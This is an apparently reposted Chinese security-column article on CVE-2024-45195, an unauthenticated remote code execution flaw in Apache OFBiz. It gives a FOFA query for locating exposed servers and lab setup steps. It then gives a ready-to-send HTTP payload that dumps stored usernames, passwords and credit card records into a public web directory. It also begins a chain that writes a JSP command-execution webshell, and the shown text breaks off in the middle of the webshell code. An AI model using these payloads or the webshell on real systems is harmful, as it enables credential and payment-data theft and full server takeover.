专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
连云港市场监管  ·  连云港在全省率先出台《数据知识产权保护指南》 ... ·  2 天前  
连云港市场监管  ·  连云港在全省率先出台《数据知识产权保护指南》 ... ·  2 天前  
秦皇岛晚报  ·  4款下架,78款限期整改!国家网信办通报 ·  2 天前  
秦皇岛晚报  ·  4款下架,78款限期整改!国家网信办通报 ·  2 天前  
51好读  ›  专栏  ›  衡阳信安

Apache OFBiz 未经身份验证的远程代码执行(CVE-2024-45195)

衡阳信安  · 公众号  · 互联网安全  · 2024-09-11 01:00

正文

0x01 组件介绍

Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。

fofa语法:app="Apache_OFBiz" || "OFBiz.Visitor"

0x02 漏洞描述

2024年9月,官方发布新版本修复了CVE-2024-45195 Apache OFBiz 未经身份验证的远程代码执行,低于 18.12.16 的 Apache OFBiz 容易受到 Linux 和 Windows 上未经身份验证的远程代码执行攻击。没有有效凭据的攻击者可以利用 Web 应用程序中缺少的视图授权检查,在服务器上执行任意代码。绕过之前的 CVE-2024-32113、CVE-2024-36104 和 CVE-2024-38856 补丁可促进漏洞利用;此补丁绕过漏洞被跟踪为 CVE-2024-45195。

0x03 影响版本

Apache OFBiz < 18.12.16

0x04 环境搭建

0x01 下载

目前这个环境自己搭建的话还是比较麻烦,版本还是挺多选择的,我们选择个最近的版本18.12.15。
(运行 OFBiz 的唯一要求在系统上安装 Java 开发工具包 (JDK) 版本 8不仅仅是 JRE,而是完整的 JDK)
官方下载地址:https://archive.apache.org/dist/ofbiz/
下载完成,解压到目录下:
官方下载的压缩包少了一个关键文件,需要去GitHub官方代码库,下载:gradle-wrapper.jar
https://github.com/apache/ofbiz/tree/trunk/gradle/wrapper

下载完将文件保存到解压后的:gradle\wrapper目录下

回到刚才的主目录,在cmd执行命令:

gradlew cleanAll # 构建环境

启动过程还是比较繁琐的,不过也好在可以正常下去了

gradlew build  # 构建环境

需要先创建用户名密码:admin:ofbiz

gradlew loadAll # 创建数据库并生成用户密码,执行过程较久

出现以下即为成功

gradlew ofbiz  # 启动环境

能够见到以下界面,基本可以证明成功了

0x02 访问环境

按照第一步安装的的环境,在浏览器中打开

https://localhost:8443/webtools/control/checkLogin
(没有设置主机头,无法使用IP访问,只能先使用localhost访问)

找到刚才的根目录,进入到\framework\security\config路径下
修改security.properties文件
找到文件中的这一行:

host-headers-allowed=localhost,127.0.0.1,demo-trunk.ofbiz.apache.org,demo-stable.ofbiz.apache.org,demo-next.ofbiz.apache.org

在localhost后加入本机的IP,192.168.1.4(自己的IP),例如

host-headers-allowed=localhost,192.168.1.4127.0.0.1,demo-trunk.ofbiz.apache.org,demo-stable.ofbiz.apache.org,demo-next.ofbiz.apache.org

修改完需要重启ofbiz,重启完用IP访问试试

https://l92.168.1.4:8443/webtools/control/checkLogin

0x05 漏洞原理

攻击者可以利用该漏洞绕过授权逻辑,通过请求获取未经授权的敏感信息以及写入文件进一步获取服务器权限。通过攻击者可以利用另一个视图XmlDsDump来利用应用程序,而无需进行身份验证。下面是一个可能的 Groovy 视图屏幕选项

利用xmlDsDump 视图可用于查询数据库中的几乎任何存储数据,并将结果数据写入磁盘上任意位置的任意命名文件。值得注意的是,附属的 Groovy 脚本 XmlDsDump.groovy 不强制执行授权检查。后续还能通过viewdatafile写入文件,并执行

0x06 漏洞验证

1.访问站点

先通过接口做概念性验证,将Apache OFBiz 存储的所有用户名、密码和转储到一个 Web 可访问的目录中
发送payload,文件名可随意命名


POST /webtools/control/forgotPassword/xmldsdump HTTP/1.1
Host: 192.168.1.4:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 215

outpath=./themes/common-theme/webapp/common/&maxrecords=&filename=20240907.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard

2.通过以上payload,会在common目录下生成一个20240907.txt文件,将Apache OFBiz 存储的所有用户名、密码存进去,访问该文件,验证是否成功生成并且能访问

GET /common/20240907.txt HTTP/1.1
Host: 192.168.1.4:8443

根据响应可以看到相关内容已保存到文件中了

通过以上内容我们已经可以证明该站点存在漏洞了

但我们还是不满足,可以通过该漏洞写入webshell
接下来演示如何写入webshell
找一台vps,本地演示的话就用一台能互通centos机器就可以了,且要安装python

找一个目录,在该目录下创建两个文件

第1个文件

文件名:rceschema.xml,其中length="605"中的605要和rcereport.csv的长度一样

文件内容:

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0">field>
record>
data-file>
data-files>

第2个文件

文件名:rcereport.csv,一个包含一行和单个值的 CSV,即JSP Webshell。最后要以 , 逗号结尾。

文件内容:

import='java.io.*' %>import='java.util.*' %><h1>Ahoy!h1>
String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "
"
); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null






请到「今天看啥」查看全文